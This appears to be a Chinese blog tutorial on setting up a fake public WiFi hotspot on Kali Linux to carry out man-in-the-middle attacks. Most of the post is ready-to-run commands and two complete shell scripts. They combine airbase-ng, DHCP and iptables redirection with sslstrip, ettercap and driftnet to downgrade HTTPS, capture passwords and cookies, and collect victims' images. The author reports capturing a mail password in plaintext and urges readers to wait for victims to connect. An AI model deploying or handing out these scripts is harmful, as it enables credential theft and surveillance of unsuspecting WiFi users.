钓鱼WIFI搭建
1、无线网卡
2、KaliLinux操作系统,这里就不用说了,必备的
3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可
4、Aircrack-ng套件 #用来发送数据
5、sslstrip 用来突破SSL加密
6、ettercap 用来嗅探劫持
后面三个软件KaliLinux都自带有,不用安装即可。
首先强调下,后面的bash脚本适用于使用isc-dhcp-server这个bash脚本,建立钓鱼热点。
安装dhcp服务
apt-get install isc-dhcp-server
配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置监听端口,这里以wlan0为例
配置dhcp文件后,断开wlan0的网络,分配一个ip
ifconfig wlan0 192.168.1.2/24
启动dhcp服务
/etc/init.d/isc-dhcp-server start 或者
service isc-dhcp-server start
建立热点:
将下文写好的airssl.sh添加执行权限
bash airssl.sh
然后分别是AP建立,DHCP建立,sslstrip开启,ettercap开启。
这里再介绍一种方法,是使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!
所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:
Aircrack-ng 套件 #用来发送数据
isc-dhcp-server #简单的dhcp服务器
sslstrip #突破ssl加密
ettercap #嗅探劫持
leaf /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件,修改如下:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
然后激活网卡至监听模式:
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了,如果出现错误:
Error: Got channel -1, expected a value > 0.
执行如下命令:
airmon-ng stop mon0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
然后从激活网卡至监听模式那里重新开始。
接着执行如下命令:
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:
sslstrip -fpk 10000
ettercap -Tpuqi at0
然后就等着鱼儿上钩吧!
手机上测试了下,网易邮箱直接明文密码:

百度使用了加密:


写了一个脚本,修改成自己的设置每次执行就ok了:
复制下面代码,保存为 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh
#!/bin/sh
echo "即将创建WiFi热点,请确保dhcpd.conf已经配置好!" &
sleep 5
ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0
代码如下:
- #!/bin/bash
- # 修改版,原版信息如下:
- ########################################################
- # ©opyright 2009 - killadaninja - Modified G60Jon 2010
- # airssl.sh - v1.0
- # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh
- ########################################################
- # Network questions
- echo "AIRSSL_KALI"
- echo "修该版本,适用于kali或者使用isc-dhcp-server的环境,原版信息如下:"
- echo "AIRSSL 2.0 - Credits killadaninja & G60Jon "
- echo "仅供学习用途"
- echo
- route -n -A inet | grep UG
- echo "DNS服务器.例如8.8.8.8: "
- read -e dnsip
- echo "网关地址.例如192.168.0.1:"
- read -e gatewayip
- echo "接入internet的接口.例如eth1: "
- read -e internet_interface
- echo "用于建立AP的接口.例如wlan0: "
- read -e fakeap_interface
- echo "AP的ESSID: "
- read -e ESSID
- airmon-ng start $fakeap_interface
- fakeap=$fakeap_interface
- fakeap_interface="mon0"
- # Dhcpd creation
- mkdir -p "/pentest/wireless/airssl"
- cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak
- cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak
- echo "ddns-update-style none;
- default-lease-time 600;
- max-lease-time 7200;
- authoritative;
- log-facility local7;
- ">/etc/dhcp/dhcpd.conf
- echo -n "subnet 192.168.0.0 netmask 255.255.255.0 {
- range 192.168.0.100 192.168.0.200;
- option domain-name-servers ">>/etc/dhcp/dhcpd.conf
- echo -n $dnsip>>/etc/dhcp/dhcpd.conf
- echo -n ";
- # option domain-name "internal.example.org";
- option routers ">>/etc/dhcp/dhcpd.conf
- echo -n $gatewayip>>/etc/dhcp/dhcpd.conf
- echo -n ";
- option broadcast-address 192.168.0.255;
- default-lease-time 600;
- max-lease-time 7200;
- }" >> /etc/dhcp/dhcpd.conf
- echo "
- DHCPD_CONF=/etc/dhcp/dhcpd.conf
- DHCPD_PID=/var/run/dhcpd.pid
- INTERFACES="at0"
- ">/etc/default/isc-dhcp-server
- # Fake ap setup
- echo "[+] Configuring FakeAP...."
- echo
- echo "Airbase-ng will run in its most basic mode, would you like to
- configure any extra switches? "
- echo
- echo "Choose Y to see airbase-ng help and add switches. "
- echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "
- echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "
- echo "Y, N or A "
- read ANSWER
- if [ $ANSWER = "y" ] ; then
- airbase-ng --help
- fi
- if [ $ANSWER = "y" ] ; then
- echo
- echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be
- redefined, also in this mode you MUST define a channel "
- read -e aswitch
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- if [ $ANSWER = "a" ] ; then
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- if [ $ANSWER = "n" ] ; then
- echo
- echo "[+] Starting FakeAP..."
- xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!
- sleep 2
- fi
- # Tables
- echo "[+] Configuring forwarding tables..."
- ifconfig lo up
- ifconfig at0 up &
- sleep 1
- ifconfig at0 $gatewayip netmask 255.255.255.0
- ifconfig at0 mtu 1400
- route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- echo 1 > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
- iptables -P FORWARD ACCEPT
- iptables --append FORWARD --in-interface at0 -j ACCEPT
- iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
- # DHCP
- echo "[+] Setting up DHCP..."
- #touch /var/run/dhcpd.pid
- #chown dhcpd:dhcpd /var/run/dhcpd.pid
- #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!
- #sleep 3
- /etc/init.d/isc-dhcp-server start
- # Sslstrip
- echo "[+] Starting sslstrip..."
- xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!
- sleep 2
- # Ettercap
- echo "[+] Configuring ettercap..."
- echo
- echo "Ettercap will run in its most basic mode, would you like to
- configure any extra switches for example to load plugins or filters,
- (advanced users only), if you are unsure choose N "
- echo "Y or N "
- read ETTER
- if [ $ETTER = "y" ] ; then
- ettercap --help
- fi
- if [ $ETTER = "y" ] ; then
- echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here
- For the sake of airssl, ettercap WILL USE -u and -p so you are advised
- NOT to use -M, also -i is already set and CANNOT be redifined here.
- Ettercaps output will be saved to /pentest/wireless/airssl/passwords
- DO NOT use the -w switch, also if you enter no switches here ettercap will fail "
- echo
- read "eswitch"
- echo "[+] Starting ettercap..."
- xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!
- sleep 1
- fi
- if [ $ETTER = "n" ] ; then
- echo
- echo "[+] Starting ettercap..."
- xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
- sleep 1
- fi
- # Driftnet
- echo
- echo "[+] Driftnet?"
- echo
- echo "Would you also like to start driftnet to capture the victims images,
- (this may make the network a little slower), "
- echo "Y or N "
- read DRIFT
- if [ $DRIFT = "y" ] ; then
- mkdir -p "/pentest/wireless/airssl/driftnetdata"
- echo "[+] Starting driftnet..."
- driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!
- sleep 3
- fi
- xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
- clear
- echo
- echo "[+] Activated..."
- echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "
- echo
- echo "[+] IMPORTANT..."
- echo "使用完毕请键入Y恢复系统配置,否则可能会出现问题!"
- read WISH
- # Clean up
- if [ $WISH = "y" ] ; then
- echo
- echo "[+] Cleaning up airssl and resetting iptables..."
- kill ${fakeapid}
- kill ${dchpid}
- kill ${sslstripid}
- kill ${ettercapid}
- kill ${dritnetid}
- kill ${sslstriplogid}
- airmon-ng stop $fakeap_interface
- airmon-ng stop $fakeap
- echo "0" > /proc/sys/net/ipv4/ip_forward
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server
- mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf
- /etc/init.d/isc-dhcp-server stop
- echo "[+] Clean up successful..."
- echo "[+] Thank you for using airssl, Good Bye..."
- exit
- fi
- exit
做这个最重要的还是写shell脚本
后面的脚本如果都能自己写出来,才是真正的大神。本人菜鸟,欢迎各位大神狂喷
钓鱼WIFI搭建的更多相关文章
- 树莓派搭建钓鱼wifi热点
我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站.接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别 ...
- 简单快速搭建钓鱼wifi
前言 钓鱼wifi是很久的话题了,但是传统的方法可能比较麻烦需要手动配置dhcp,dns,网卡,流量转发,比较麻烦,而且还有根据每次的网络环境需要重新的配置,这里介绍用WIFIpumpkin3工具简单 ...
- kali使用Fluxion钓鱼WiFi
先介绍一下这个软件 这个软件是一个可以生成一个钓鱼WiFi的软件,可以伪装成一个正常的WiFi,但是是没有密码的,但是其他信息都是一样的,一旦开启这个攻击,正常的那个AP就无法正常连接,只能连到这个伪 ...
- 嵌入式Linux利用Wifi搭建无线服务器(物联网实践之无线网关)
在 http://www.cnblogs.com/heat-man/p/4564539.html中,在嵌入式Linux开发板上我们从最底层实现了一个智能家居的远程控制系统,然而采取的是用网线连接到交换 ...
- 深度点评五种常见WiFi搭建方案
总结十年无线搭建经验,针对企业常见的五种办公室无线网络方案做个简要分析,各种方案有何优劣,又适用于那种类型的企业. 方案一:仅路由器或AP覆盖 简述:使用路由器或AP覆盖多个无线盲区,多个AP的部署实 ...
- 一个钓鱼WiFi的破解
在开始前我们先安装下工具 git clone [url]https://github.com/P0cL4bs/WiFi-Pumpkin.git[/url] [/size] [size=4][size= ...
- 钓鱼WIFI的防范
实际上,Wi-Fi接入点(AP).路由器和热点常常是高度暴露的攻击面.用户一不小心就有可能踏进攻击者设置的Wi-Fi陷阱,为企业造成信息泄露或经济损失. 如今Wi-Fi 6时代悄然到来,为高密海量无线 ...
- QQFishing QQ钓鱼站点搭建
答:为什么要写这个代码? 当然不是做黑产去盗别人扣扣,也没有啥查看别人隐私信息的癖好,搭建该站点的适用对象为->使用社会工程学定向钓鱼攻击的安全渗透人员 另外管理员界面后端写的很丑+很烂,除了我 ...
- 如何在Kali Linux中搭建钓鱼热点
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg ...
随机推荐
- CSS Sprites 原理技术介绍及其优化方法
先期的准备工作 应对一个项目后期维护成本大的问题,我们最好的解决方案就是在开始前制定一系列的规范来限制问题的产品.好的开始是成功的一半.对于CSS Sprites,在项目开始前,我们要充分认识一个产品 ...
- Code Forces 645C Enduring Exodus
C. Enduring Exodus time limit per test2 seconds memory limit per test256 megabytes inputstandard inp ...
- CSS 中 BEM命名方式
BEM的意思就是块(block).元素(element).修饰符(modifier),是一种CSS Class 命名方法. 类似于: .block{} .block__element{} .block ...
- 一直深深困扰我的问题——hadoop 重启集群后,之前运行的job运行状态都丢失了
努力之后总是存在回报的,我花了三天时间终于找到了问题所在: 配置文件yarn-site.xml: <property> <name>yarn.resourcema ...
- android mock location
原理:用 setTestProviderLocation 设置模拟gps的位置 http://androidcookbook.com/Recipe.seam?recipeId=1229 http:// ...
- 在HTML里面HEAD部分的META元素要表达的内容是什么
1.name属性主要有以下几种参数: A.Keywords(关键字) 说明:keywords用来告诉搜索引擎你网页的关键字是什么. 举例:<meta name ="keywords&q ...
- LInux中的物理内存管理
2017-02-23 一.伙伴系统 LInux下用伙伴系统管理物理内存页,伙伴系统得益于其良好的算法,一定程度上可以避免外部碎片为何这么说?先回顾下Linux下虚拟地址空间的分布. 在X86架构下,系 ...
- 类方法classmethod 绑定方法
绑定方法 1.凡是类中的方法和函数,都是绑定给对象使用的: 2.绑定方法都有自动传值的功能.传递进去的值,就是对象本身. 3.如果类想调用绑定方法,就必须遵循函数的参数规则,有几个参数,就必须传递几个 ...
- (2.1)备份与还原--sql server文件的概念及操作
概述:sql server是以文件形式存储数据与日志 1.数据文件 sql server数据文件分为2类 (1)主数据库文件 主数据库文件包含数据库的启动信息.系统对象,并指向数据库的其他文件(从数据 ...
- 基于nodejs的websocket通信程序设计
网络程序设计无疑是nodejs + html最好用 一.nodejs的安装 1.在ubuntu上的安装 sudo apt install nodejs-legacy sudo apt install ...